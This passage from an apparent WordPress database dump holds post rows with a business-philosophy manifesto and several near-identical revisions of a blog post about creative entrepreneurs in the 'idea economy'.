simplicity</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>do everything in an easy and relaxed manner.</em></span>\r\n<h2><span style="color: #333333;"><strong>7  the best idea is the one you think is impossible</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>don’t be afraid to put your own “dent in the universe”.</em></span>\r\n<h2><span style="color: #333333;"><strong>8  be different, make a difference</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>a compelling value proposition, properly positioned will elevate you from the slush pile</em>.</span>\r\n<h2><span style="color: #333333;"><strong>9  provide more use value than you receive in cash value</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>the ultimate competitive advantage and the key to wealth.</em></span>\r\n<h2><span style="color: #333333;"><strong>10  people are more important than money</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>get this reversed and it’s game over!</em></span>\r\n<h2><span style="color: #333333;"><strong>11  create experiences people love</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>doing good things for people is good business.</em></span>\r\n<h2><span style="color: #333333;"><strong>12  listen more, sell less</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>It’s all about them not you.</em></span>\r\n<h2><span style="color: #333333;"><strong>13  intuition over conventional wisdom</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>follow your heart, there is no better alternative.</em></span>\r\n<h2><span style="color: #333333;"><strong>14  daydream often</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>play aimlessly in your creative imagination.\r\n</em></span>\r\n<h2><span style="color: #333333;"><strong>15  focus on the important, handle the urgent</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>discover your genius, develop you unique ability, delegate everything else.</em></span>\r\n<h2><span style="color: #333333;"><strong>16  forget what you know</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>the world moves to fast for one mind – seek collaborators.</em></span>\r\n<h2><span style="color: #333333;"><strong>17  beware of comfort</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>it will put you to sleep!</em></span>\r\n<h2><span style="color: #333333;"><strong>18  play on the edges</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>embrace risk like your lover.</em></span>\r\n<h2><span style="color: #333333;"><strong>19  to thine own self be true, no exceptions, no excuses\r\n</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>say no often and mean it.</em></span>\r\n<h2><span style="color: #333333;"><strong>20  leadership is service in disguise</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>elevate everyone you come into contact with.</em></span>\r\n<h2><span style="color: #333333;"><strong>21  give thanks, give back</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>appreciation + service =  abundance.</em></span>\r\n\r\n<strong>It’s my conviction these guiding principles will help you frame up the inner game that determines your own outer success. Like me, you may have incorporated elements of this philosophy in your personal and business life for years. If not, perhaps you’ll be inspired to gain a deeper level of understanding and mastery of these timeless principles and apply them daily to realize a quantum leap in your own inspired growth and business success. Facilitating your awareness and deeper understanding of these ideas is my life’s great work.</strong>', 'The White Hot Center Manifesto', 0, '', 'inherit', 'open', 'open', '', '136-revision-v1', '', '', '2009-09-04 12:28:53', '2009-09-04 19:28:53', '', 136, 'http://www.whitehotcenter.com/2009/09/04/136-revision-34/', 0, 'revision', '', 0),
(632, 2, '2009-09-21 15:01:08', '2009-09-21 22:01:08', '<h2><img class="size-full wp-image-667 alignleft" title="ideas" src="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas4.gif" alt="the idea economy" width="243" height="288" /><span style="color: #ff6600;"> </span></h2>\r\n<h2>In the idea economy, the value  early-stage entrepreneurs provide lies not in their physical products or services,   but in intangible assets such as their brand, reputation, network and  intellectual property.</h2>\r\n<div>\r\n\r\nMany entrepreneurs and solo  professionals get hung up on the word “creative”. Many entrepreneurs do  not believe they are creative. Many people think of the term as it  relates to artistic expression or ability. If you have a dry cleaning  business, you might not think of it as creative business at all. In  truth, being a successful entrepreneur in any business requires lots of  creativity and innovation. More so in an economy increasingly driven by  ideas!  There are three important characteristics all entrepreneurs  share:\r\n\r\n<strong>Creativity</strong>\r\ngenerating new ideas, evaluating them  effectively, taking action to turn them into new products and services  that create value.\r\n\r\n<strong>Collaboration</strong>\r\nconnecting and working with  partners, and other significant players in their network, which will  increasingly be scattered beyond local geography and contain more  ‘virtual’ relationships than face-to-face ones.\r\n\r\n<strong>Entrepreneurship</strong>\r\nidentifying opportunities in the  marketplace and using their business skills to transform formless ideas  into physical products and profits.\r\n\r\nEntrepreneurs have always relied on their creativity to produce  wealth, but the modern creative entrepreneur in the emerging idea  economy will go further and deeper. Noted author, John Howkins defines  creative entrepreneurs as people who “use creativity to unlock the  wealth that lies within them rather than with external capital”.  The  greater value creative entrepreneurs provides lies not in their physical  products (if any) but in intangible assets such as their brand,  reputation, social network and intellectual property. These assets form  the “inner game” I call the white hot center of competitive advantage.\r\n<h2><span style="color: #808080;">Creative entrepreneurs inherently “know” their success begins inside  them, and they go outward from there. How do these three characteristics  show up in you?</span></h2>\r\n<strong>The New Age of Connection</strong>\r\n\r\nThere has never been a more favorable environment for creative  entrepreneurs with big ideas and the will to bring them into form.  Social Media is transforming every human structure and business model of  the last half-century. We are truly in a new age of human connection  and interaction. What’s different is the transparent and  “virtual  nature” of these interactions as a result of this exploding phenomena.  We are experiencing the embryonic beginnings of how humans will build  more transparent, tribal and profitable relationships with others of  like mind. It is in this fertile soil that the creative economy will  grow.and ideas are its currency.\r\n\r\nThis gives the creative entrepreneur a leg up simply because, by  their very nature, entrepreneurs are predisposed to thinking with  creativity and innovation. The social web will only grow in its  potential to bring humans closer, providing a powerful venue that is  favorable to ideas that create more value for people. Creative  entrepreneurs will form the core of this emerging group who will become  the new visionaries–people who create greater financial value from their  intangible ideas.\r\n\r\nIn the idea economy, the attributes that will power creative  entrepreneurs toward greater innovation and wealth creation are:\r\n\r\n<strong>Autonomy</strong>\r\nthe desire to direct the course of their  own lives and be free from all bureaucratic structures.\r\n\r\n<strong>Mastery</strong>\r\na never-ending capacity to grow and get  better at something that really matters to them.\r\n\r\n<strong>Purpose</strong>\r\nthe yearning to do what matters to them,  and have that serve the good of others.\r\n\r\n<strong>What this means to you.</strong>\r\n\r\nMany people believe they don’t “have enough” resources to pursue  their ideas. They blame their lack and limitation on the closed  structures of the past fifty years. If you continue in the belief of  lack and limitation as a reason for not pursuing your ideas, and you  will miss the opportunity of your lifetime. Snooze, you lose.\r\n\r\nOn the other hand, creative entrepreneurs are “possibility thinkers”  framing their ideas around “what-if and why-not” questions. The emerging  creative idea-based economy is a system favorable to this point of  view. Never has potential and possibility for success been more  available!\r\n\r\nWhen you embark on the journey of pursuing ideas to grow your value  to the world, you’ll be focusing your energy on trusting your intuition  and imagination, (which is where all ideas come from) and less on the  evidence interpreted by your physical senses. New opportunity will show  up to strengthen your faith and belief. And with faith and belief, you  will have the will to set meaningful goals and persist in your action.  Persistent action gives you more momentum. Momentum leads to results.\r\n\r\n<strong> If you are an entrepreneur, or thinking about becoming one,  there is no better time than now to begin to take your creative business  to the next level!</strong>\r\n\r\n</div>', 'How the idea economy will unlock your power to grow wealth.', 0, '', 'publish', 'open', 'open', '', 'the-entrepreneur-in-the-emerging-idea-economy', '', '\nhttp://lateralaction.com/articles/creative-entrepreneur', '2010-12-27 16:29:03', '2010-12-27 23:29:03', '', 0, 'http://www.whitehotcenter.com/?p=632', 0, 'post', '', 0),
(633, 2, '2009-09-21 14:31:36', '2009-09-21 21:31:36', '', 'ideas', 0, '', 'inherit', 'open', 'open', '', 'ideas', '', '', '2009-09-21 14:31:36', '2009-09-21 21:31:36', '', 0, 'http://www.whitehotcenter.com/wp-content/uploads/2009/09/ideas.gif', 0, 'attachment', 'image/gif', 0),
(634, 2, '2009-09-21 14:36:01', '2009-09-21 21:36:01', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas.gif"><img class="alignnone size-full wp-image-633" title="ideas" src="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas.gif" alt="ideas" width="450" height="534" /></a><span style="color: #ff6600;">One of the fundamental topics of interest here on the White Hot Center is this idea of creative business. For many, that term may seem a little vague and ambiguous. In this post I’ll explain what I mean when I use the term creative business and more specifically “creative entrepreneur” and how this can have a useful impact on your own creative thinking about growing your business</span>.</h2>\nMany business people get hung up on the word “creative”. So many people do not believe they are creative. Many people think of the term as it relates to the creative arts, expression or artistic ability. If you have a dry cleaning business, you might not think of it as creative business at all. In truth, being a successful entrepreneur in any business requires lots of creativity and innovation. My fellow bloggers at <strong><a href="http://lateralaction.com/articles/creative-entrepreneur" target="_blank">Lateral Action</a>,</strong> have an in-depth article on the subject that I think you would find helpful regardless of the business you are in.  I encourage you to check it out.\n\nThere are three characteristics all entrepreneurs have:<strong>\nCreativity</strong>–generating new ideas, evaluating them effectively, taking action to turn them into new products and services.<strong>\nCollaboration</strong> – connecting and working with partners, and other significant players in their network, which will increasingly be scattered beyond local geography and contain more ‘virtual’ relationships than face-to-face ones.<strong>\nEntrepreneurship</strong> – identifying opportunities in the marketplace and using their business skills to transform formless ideas into physical products and profits.\n\nEntrepreneurs have always relied on their creativity to produce wealth, but the modern creative entrepreneur goes further and deeper. Noted author,<a href="http://www.amazon.com/Creative-Economy-People-Money-Ideas/dp/0140287949/ref=sr_1_1?ie=UTF8&amp;s=books&amp;qid=1221126168&amp;sr=8-1"> John Howkins</a> defines creative entrepreneurs as people who “use creativity to unlock the wealth that lies <em>within themselves</em> rather than with external capital”. The value that creative entrepreneurs create lies not in their physical products (if any) but in intangible assets such as their brand, reputation, network and intellectual property.\n\nThis forms the “inner game” that I call the white hot center of competitive advantage. Creative entrepreneurs inherently “know” their success begins inside them, and they go from there. How do these three characteristics show up in you?\n\n<strong>The New Age of Connection</strong>\n\nThere has never been a more favorable environment for creative entrepreneurs with big ideas and the will to bring them into form. Social Media is transforming every human structure and business model of the last half-century. We are truly in a new age of human connection and interaction. What’s different is the transparent and  “virtual nature” of these interactions as a result of the exploding phenomena of social media.\n\nFor awhile, I thought social media might be a passing fad– the CB radio of our time. However, after more research and participation (this blog), I have come to the conclusion that it is far more. We are experiencing the embryonic beginnings of how humans will build more transparent, tribal and profitable relationships with others of like mind. It is in this fertile soil that the creative economy will grow.\n\nIdeas are its currency–particularly ideas that have a viral potential. This gives the creative entrepreneur a leg up simply because, by their very nature, they are predisposed to thinking with creativity and innovation about their business. The social web is not going away, it will only grow in its potential to bring humans closer, providing a powerful venue that is favorable to ideas that create more value for people. Creative entrepreneurs will form the core of this emerging group who will become the new visionaries–people who create financial value from their intangible ideas. Creative entrepreneurs are focused on:\n\n<em>Autonomy</em>\n– the desire to direct the course of their own lives.\n\n<em> </em>\n\n<em>Mastery</em>\n– a never-ending capacity to grow and get better at something that really matters.\n\n<em> </em>\n\n<em>Purpose</em>\n\n– the yearning to do what matters to them, and have that serve the good of others.\n<h1>What this means to you.</h1>\nMany people believe they don’t “have enough” resources to pursue their ideas. They blame their lack and limitation on the closed structures of the past fifty years. Continue in the belief of lack and limitation as a reason for not pursuing your ideas, and you will miss the opportunity of your lifetime. Snooze, you lose.\n\nOn the other hand, creative entrepreneurs are “possibility thinkers” framing their ideas around “what-if and why-not” questions. The emerging creative economy is a system favorable to this point of view. Never has potential and possibility for success been more available!\n\nWhen you embark on the journey of pursuing your ideas to grow your value to the world, you’ll be focusing your energy on trusting your intuition and imagination, (which is where all ideas come from) and less on the evidence interpreted by your physical senses. New opportunity will show up to strengthen your faith and belief. And with faith and belief, you will have the will to set meaningful goals and persist in your action. Persistent action gives you more momentum, momentum leads to results.  There is no better time than now to begin to take your creative business to the next level. Think about these questions:\n\n<strong>What is important to you, what really matters?</strong>\n\n<strong> </strong>\n\n<strong>What motivates you? Are you moved by intrinsic ideals (doing what matters), or do you prefer the outside “carrot and stick” incentives (money, social status) for motivation?</strong>\n\n<strong> </strong>\n\n<strong>Let me know what you think about this.</strong><strong> </strong>', 'The entrepreneur in the emerging idea economy.', 0, '', 'inherit', 'open', 'open', '', '632-revision', '', '', '2009-09-21 14:36:01', '2009-09-21 21:36:01', '', 632, 'http://www.whitehotcenter.com/2009/09/21/632-revision/', 0, 'revision', '', 0),
(635, 2, '2009-09-21 14:37:59', '2009-09-21 21:37:59', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas.gif"><img class="alignnone size-full wp-image-633" title="ideas" src="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas.gif" alt="ideas" width="450" height="534" /></a><span style="color: #ff6600;">One of the fundamental topics of interest here on the White Hot Center is this idea of creative business. For many, that term may seem a little vague and ambiguous. In this post I’ll explain what I mean when I use the term creative business and more specifically “creative entrepreneur” and how this can have a useful impact on your own creative thinking about growing your business</span>.</h2>\nMany business people get hung up on the word “creative”. So many people do not believe they are creative. Many people think of the term as it relates to the creative arts, expression or artistic ability. If you have a dry cleaning business, you might not think of it as creative business at all. In truth, being a successful entrepreneur in any business requires lots of creativity and innovation. My fellow bloggers at <strong><a href="http://lateralaction.com/articles/creative-entrepreneur" target="_blank">Lateral Action</a>,</strong> have an in-depth article on the subject that I think you would find helpful regardless of the business you are in.  I encourage you to check it out.\n\nThere are three characteristics all entrepreneurs have:<strong>\nCreativity</strong>–generating new ideas, evaluating them effectively, taking action to turn them into new products and services.<strong>\nCollaboration</strong> – connecting and working with partners, and other significant players in their network, which will increasingly be scattered beyond local geography and contain more ‘virtual’ relationships than face-to-face ones.<strong>\nEntrepreneurship</strong> – identifying opportunities in the marketplace and using their business skills to transform formless ideas into physical products and profits.\n\nEntrepreneurs have always relied on their creativity to produce wealth, but the modern creative entrepreneur goes further and deeper. Noted author,<a href="http://www.amazon.com/Creative-Economy-People-Money-Ideas/dp/0140287949/ref=sr_1_1?ie=UTF8&amp;s=books&amp;qid=1221126168&amp;sr=8-1"> John Howkins</a> defines creative entrepreneurs as people who “use creativity to unlock the wealth that lies <em>within themselves</em> rather than with external capital”. The value that creative entrepreneurs create lies not in their physical products (if any) but in intangible assets such as their brand, reputation, network and intellectual property.\n\nThis forms the “inner game” that I call the white hot center of competitive advantage. Creative entrepreneurs inherently “know” their success begins inside them, and they go from there. How do these three characteristics show up in you?\n\n<strong>The New Age of Connection</strong>\n\nThere has never been a more favorable environment for creative entrepreneurs with big ideas and the will to bring them into form. Social Media is transforming every human structure and business model of the last half-century. We are truly in a new age of human connection and interaction. What’s different is the transparent and  “virtual nature” of these interactions as a result of the exploding phenomena of social media.\n\nFor awhile, I thought social media might be a passing fad– the CB radio of our time. However, after more research and participation (this blog), I have come to the conclusion that it is far more. We are experiencing the embryonic beginnings of how humans will build more transparent, tribal and profitable relationships with others of like mind. It is in this fertile soil that the creative economy will grow.\n\nIdeas are its currency–particularly ideas that have a viral potential. This gives the creative entrepreneur a leg up simply because, by their very nature, they are predisposed to thinking with creativity and innovation about their business. The social web is not going away, it will only grow in its potential to bring humans closer, providing a powerful venue that is favorable to ideas that create more value for people. Creative entrepreneurs will form the core of this emerging group who will become the new visionaries–people who create financial value from their intangible ideas. Creative entrepreneurs are focused on:\n\n<em>Autonomy</em>\n– the desire to direct the course of their own lives.\n\n<em> </em>\n\n<em>Mastery</em>\n– a never-ending capacity to grow and get better at something that really matters.\n\n<em> </em>\n\n<em>Purpose</em>\n– the yearning to do what matters to them, and have that serve the good of others.\n\n<strong>What this means to you.</strong>\n\nMany people believe they don’t “have enough” resources to pursue their ideas. They blame their lack and limitation on the closed structures of the past fifty years. Continue in the belief of lack and limitation as a reason for not pursuing your ideas, and you will miss the opportunity of your lifetime. Snooze, you lose.\n\nOn the other hand, creative entrepreneurs are “possibility thinkers” framing their ideas around “what-if and why-not” questions. The emerging creative economy is a system favorable to this point of view. Never has potential and possibility for success been more available!\n\nWhen you embark on the journey of pursuing your ideas to grow your value to the world, you’ll be focusing your energy on trusting your intuition and imagination, (which is where all ideas come from) and less on the evidence interpreted by your physical senses. New opportunity will show up to strengthen your faith and belief. And with faith and belief, you will have the will to set meaningful goals and persist in your action. Persistent action gives you more momentum, momentum leads to results.  There is no better time than now to begin to take your creative business to the next level. Think about these questions:\n\n<strong>What is important to you, what really matters?</strong>\n\n<strong> </strong>\n\n<strong>What motivates you? Are you moved by intrinsic ideals (doing what matters), or do you prefer the outside “carrot and stick” incentives (money, social status) for motivation?</strong>\n\n<strong> </strong>\n\n<strong>Let me know what you think about this.</strong><strong> </strong>', 'The entrepreneur in the emerging idea economy.', 0, '', 'inherit', 'open', 'open', '', '632-revision-2', '', '', '2009-09-21 14:37:59', '2009-09-21 21:37:59', '', 632, 'http://www.whitehotcenter.com/2009/09/21/632-revision-2/', 0, 'revision', '', 0),
(636, 2, '2009-09-21 14:38:10', '2009-09-21 21:38:10', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas.gif"><img class="alignnone size-full wp-image-633" title="ideas" src="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas.gif" alt="ideas" width="450" height="534" /></a><span style="color: #ff6600;">One of the fundamental topics of interest here on the White Hot Center is this idea of creative business. For many, that term may seem a little vague and ambiguous. In this post I’ll explain what I mean when I use the term creative business and more specifically “creative entrepreneur” and how this can have a useful impact on your own creative thinking about growing your business</span>.</h2>\r\nMany business people get hung up on the word “creative”. So many people do not believe they are creative. Many people think of the term as it relates to the creative arts, expression or artistic ability. If you have a dry cleaning business, you might not think of it as creative business at all. In truth, being a successful entrepreneur in any business requires lots of creativity and innovation. My fellow bloggers at <strong><a href="http://lateralaction.com/articles/creative-entrepreneur" target="_blank">Lateral Action</a>,</strong> have an in-depth article on the subject that I think you would find helpful regardless of the business you are in.  I encourage you to check it out.\r\n\r\nThere are three characteristics all entrepreneurs have:<strong>\r\nCreativity</strong>–generating new ideas, evaluating them effectively, taking action to turn them into new products and services.<strong>\r\nCollaboration</strong> – connecting and working with partners, and other significant players in their network, which will increasingly be scattered beyond local geography and contain more ‘virtual’ relationships than face-to-face ones.<strong>\r\nEntrepreneurship</strong> – identifying opportunities in the marketplace and using their business skills to transform formless ideas into physical products and profits.\r\n\r\nEntrepreneurs have always relied on their creativity to produce wealth, but the modern creative entrepreneur goes further and deeper. Noted author,<a href="http://www.amazon.com/Creative-Economy-People-Money-Ideas/dp/0140287949/ref=sr_1_1?ie=UTF8&amp;s=books&amp;qid=1221126168&amp;sr=8-1"> John Howkins</a> defines creative entrepreneurs as people who “use creativity to unlock the wealth that lies <em>within themselves</em> rather than with external capital”. The value that creative entrepreneurs create lies not in their physical products (if any) but in intangible assets such as their brand, reputation, network and intellectual property.\r\n\r\nThis forms the “inner game” that I call the white hot center of competitive advantage. Creative entrepreneurs inherently “know” their success begins inside them, and they go from there. How do these three characteristics show up in you?\r\n\r\n<strong>The New Age of Connection</strong>\r\n\r\nThere has never been a more favorable environment for creative entrepreneurs with big ideas and the will to bring them into form. Social Media is transforming every human structure and business model of the last half-century. We are truly in a new age of human connection and interaction. What’s different is the transparent and  “virtual nature” of these interactions as a result of the exploding phenomena of social media.\r\n\r\nFor awhile, I thought social media might be a passing fad– the CB radio of our time. However, after more research and participation (this blog), I have come to the conclusion that it is far more. We are experiencing the embryonic beginnings of how humans will build more transparent, tribal and profitable relationships with others of like mind. It is in this fertile soil that the creative economy will grow.\r\n\r\nIdeas are its currency–particularly ideas that have a viral potential. This gives the creative entrepreneur a leg up simply because, by their very nature, they are predisposed to thinking with creativity and innovation about their business. The social web is not going away, it will only grow in its potential to bring humans closer, providing a powerful venue that is favorable to ideas that create more value for people. Creative entrepreneurs will form the core of this emerging group who will become the new visionaries–people who create financial value from their intangible ideas. Creative entrepreneurs are focused on:\r\n\r\n<em>Autonomy</em>\r\n– the desire to direct the course of their own lives.\r\n\r\n<em> </em>\r\n\r\n<em>Mastery</em>\r\n– a never-ending capacity to grow and get better at something that really matters.\r\n\r\n<em> </em>\r\n\r\n<em>Purpose</em>\r\n– the yearning to do what matters to them, and have that serve the good of others.\r\n\r\n<strong>What this means to you.</strong>\r\n\r\nMany people believe they don’t “have enough” resources to pursue their ideas. They blame their lack and limitation on the closed structures of the past fifty years. Continue in the belief of lack and limitation as a reason for not pursuing your ideas, and you will miss the opportunity of your lifetime. Snooze, you lose.\r\n\r\nOn the other hand, creative entrepreneurs are “possibility thinkers” framing their ideas around “what-if and why-not” questions. The emerging creative economy is a system favorable to this point of view. Never has potential and possibility for success been more available!\r\n\r\nWhen you embark on the journey of pursuing your ideas to grow your value to the world, you’ll be focusing your energy on trusting your intuition and imagination, (which is where all ideas come from) and less on the evidence interpreted by your physical senses. New opportunity will show up to strengthen your faith and belief. And with faith and belief, you will have the will to set meaningful goals and persist in your action. Persistent action gives you more momentum, momentum leads to results.  There is no better time than now to begin to take your creative business to the next level. Think about these questions:\r\n\r\n<strong>What is important to you, what really matters?</strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>What motivates you? Are you moved by intrinsic ideals (doing what matters), or do you prefer the outside “carrot and stick” incentives (money, social status) for motivation?</strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>Let me know what you think about this.</strong><strong> </strong>', 'The entrepreneur in the emerging idea economy.', 0, '', 'inherit', 'open', 'open', '', '632-revision-3', '', '', '2009-09-21 14:38:10', '2009-09-21 21:38:10', '', 632, 'http://www.whitehotcenter.com/2009/09/21/632-revision-3/', 0, 'revision', '', 0),
(637, 2, '2009-09-21 14:38:19', '2009-09-21 21:38:19', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas.gif"><img class="alignnone size-full wp-image-633" title="ideas" src="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas.gif" alt="ideas" width="450" height="534" /></a><span style="color: #ff6600;">One of the fundamental topics of interest here on the White Hot Center is this idea of creative business. For many, that term may seem a little vague and ambiguous. In this post I’ll explain what I mean when I use the term creative business and more specifically “creative entrepreneur” and how this can have a useful impact on your own creative thinking about growing your business</span>.</h2>\r\nMany business people get hung up on the word “creative”. So many people do not believe they are creative. Many people think of the term as it relates to the creative arts, expression or artistic ability. If you have a dry cleaning business, you might not think of it as creative business at all. In truth, being a successful entrepreneur in any business requires lots of creativity and innovation. My fellow bloggers at <strong><a href="http://lateralaction.com/articles/creative-entrepreneur" target="_blank">Lateral Action</a>,</strong> have an in-depth article on the subject that I think you would find helpful regardless of the business you are in.  I encourage you to check it out.\r\n\r\nThere are three characteristics all entrepreneurs have:<strong>\r\nCreativity</strong>–generating new ideas, evaluating them effectively, taking action to turn them into new products and services.<strong>\r\nCollaboration</strong> – connecting and working with partners, and other significant players in their network, which will increasingly be scattered beyond local geography and contain more ‘virtual’ relationships than face-to-face ones.<strong>\r\nEntrepreneurship</strong> – identifying opportunities in the marketplace and using their business skills to transform formless ideas into physical products and profits.\r\n\r\nEntrepreneurs have always relied on their creativity to produce wealth, but the modern creative entrepreneur goes further and deeper. Noted author,<a href="http://www.amazon.com/Creative-Economy-People-Money-Ideas/dp/0140287949/ref=sr_1_1?ie=UTF8&amp;s=books&amp;qid=1221126168&amp;sr=8-1"> John Howkins</a> defines creative entrepreneurs as people who “use creativity to unlock the wealth that lies <em>within themselves</em> rather than with external capital”. The value that creative entrepreneurs create lies not in their physical products (if any) but in intangible assets such as their brand, reputation, network and intellectual property.\r\n\r\nThis forms the “inner game” that I call the white hot center of competitive advantage. Creative entrepreneurs inherently “know” their success begins inside them, and they go from there. How do these three characteristics show up in you?\r\n\r\n<strong>The New Age of Connection</strong>\r\n\r\nThere has never been a more favorable environment for creative entrepreneurs with big ideas and the will to bring them into form. Social Media is transforming every human structure and business model of the last half-century. We are truly in a new age of human connection and interaction. What’s different is the transparent and  “virtual nature” of these interactions as a result of the exploding phenomena of social media.\r\n\r\nFor awhile, I thought social media might be a passing fad– the CB radio of our time. However, after more research and participation (this blog), I have come to the conclusion that it is far more. We are experiencing the embryonic beginnings of how humans will build more transparent, tribal and profitable relationships with others of like mind. It is in this fertile soil that the creative economy will grow.\r\n\r\nIdeas are its currency–particularly ideas that have a viral potential. This gives the creative entrepreneur a leg up simply because, by their very nature, they are predisposed to thinking with creativity and innovation about their business. The social web is not going away, it will only grow in its potential to bring humans closer, providing a powerful venue that is favorable to ideas that create more value for people. Creative entrepreneurs will form the core of this emerging group who will become the new visionaries–people who create financial value from their intangible ideas. Creative entrepreneurs are focused on:\r\n\r\n<em>Autonomy</em>\r\n– the desire to direct the course of their own lives.\r\n\r\n<em> </em>\r\n\r\n<em>Mastery</em>\r\n– a never-ending capacity to grow and get better at something that really matters.\r\n\r\n<em> </em>\r\n\r\n<em>Purpose</em>\r\n– the yearning to do what matters to them, and have that serve the good of others.\r\n\r\n<strong>What this means to you.</strong>\r\n\r\nMany people believe they don’t “have enough” resources to pursue their ideas. They blame their lack and limitation on the closed structures of the past fifty years. Continue in the belief of lack and limitation as a reason for not pursuing your ideas, and you will miss the opportunity of your lifetime. Snooze, you lose.\r\n\r\nOn the other hand, creative entrepreneurs are “possibility thinkers” framing their ideas around “what-if and why-not” questions. The emerging creative economy is a system favorable to this point of view. Never has potential and possibility for success been more available!\r\n\r\nWhen you embark on the journey of pursuing your ideas to grow your value to the world, you’ll be focusing your energy on trusting your intuition and imagination, (which is where all ideas come from) and less on the evidence interpreted by your physical senses. New opportunity will show up to strengthen your faith and belief. And with faith and belief, you will have the will to set meaningful goals and persist in your action. Persistent action gives you more momentum, momentum leads to results.  There is no better time than now to begin to take your creative business to the next level. Think about these questions:\r\n\r\n<strong>What is important to you, what really matters?</strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>What motivates you? Are you moved by intrinsic ideals (doing what matters), or do you prefer the outside “carrot and stick” incentives (money, social status) for motivation?</strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>Let me know what you think about this.</strong><strong> </strong>', 'The entrepreneur in the emerging idea economy.', 0, '', 'inherit', 'open', 'open', '', '632-revision-4', '', '', '2009-09-21 14:38:19', '2009-09-21 21:38:19', '', 632, 'http://www.whitehotcenter.com/2009/09/21/632-revision-4/', 0, 'revision', '', 0),
(643, 2, '2009-09-21 14:48:26', '2009-09-21 21:48:26', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas.gif"><img class="alignnone size-full wp-image-633" title="ideas" src="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas.gif" alt="ideas" width="250" height="298" /></a><span style="color: #ff6600;">One of the fundamental topics of interest here on the White Hot Center is this idea of creative business. For many, that term may seem a little vague and ambiguous. In this post I’ll explain what I mean when I use the term creative business and more specifically “creative entrepreneur” and how this can have a useful impact on your own creative thinking about growing your business.</span></h2>\nMany business people get hung up on the word “creative”. So many people do not believe they are creative. Many people think of the term as it relates to the creative arts, expression or artistic ability. If you have a dry cleaning business, you might not think of it as creative business at all. In truth, being a successful entrepreneur in any business requires lots of creativity and innovation. My fellow bloggers at <strong><a href="http://lateralaction.com/articles/creative-entrepreneur" target="_blank">Lateral Action</a>,</strong> have an in-depth article on the subject that I think you would find helpful regardless of the business you are in.  I encourage you to check it out.\n\nThere are three characteristics all entrepreneurs have:<strong> </strong>\n\n<strong>Creativity</strong>\n–generating new ideas, evaluating them effectively, taking action to turn them into new products and services.<strong>\nCollaboration</strong>\n– connecting and working with partners, and other significant players in their network, which will increasingly be scattered beyond local geography and contain more ‘virtual’ relationships than face-to-face ones.<strong>\nEntrepreneurship</strong>\n– identifying opportunities in the marketplace and using their business skills to transform formless ideas into physical products and profits.\n\nEntrepreneurs have always relied on their creativity to produce wealth, but the modern creative entrepreneur goes further and deeper. Noted author,<a href="http://www.amazon.com/Creative-Economy-People-Money-Ideas/dp/0140287949/ref=sr_1_1?ie=UTF8&amp;s=books&amp;qid=1221126168&amp;sr=8-1"> John Howkins</a> defines creative entrepreneurs as people who “use creativity to unlock the wealth that lies <em>within themselves</em> rather than with external capital”. The value that creative entrepreneurs create lies not in their physical products (if any) but in intangible assets such as their brand, reputation, network and intellectual property. This forms the “inner game” that I call the white hot center of competitive advantage. Creative entrepreneurs inherently “know” their success begins inside them, and they go from there. How do these three characteristics show up in you?\n\n<strong>The New Age of Connection</strong>\n\nThere has never been a more favorable environment for creative entrepreneurs with big ideas and the will to bring them into form. Social Media is transforming every human structure and business model of the last half-century. We are truly in a new age of human connection and interaction. What’s different is the transparent and  “virtual nature” of these interactions as a result of the exploding phenomena of social media.\n\nFor awhile, I thought social media might be a passing fad– the CB radio of our time. However, after more research and participation (this blog), I have come to the conclusion that it is far more. We are experiencing the embryonic beginnings of how humans will build more transparent, tribal and profitable relationships with others of like mind. It is in this fertile soil that the creative economy will grow.\n\nIdeas are its currency–particularly ideas that have a viral potential. This gives the creative entrepreneur a leg up simply because, by their very nature, they are predisposed to thinking with creativity and innovation about their business. The social web is not going away, it will only grow in its potential to bring humans closer, providing a powerful venue that is favorable to ideas that create more value for people. Creative entrepreneurs will form the core of this emerging group who will become the new visionaries–people who create financial value from their intangible ideas. Creative entrepreneurs are focused on:\n\n<em> </em>\n\n<em> </em>\n\n<strong>Autonomy</strong>\n– the desire to direct the course of their own 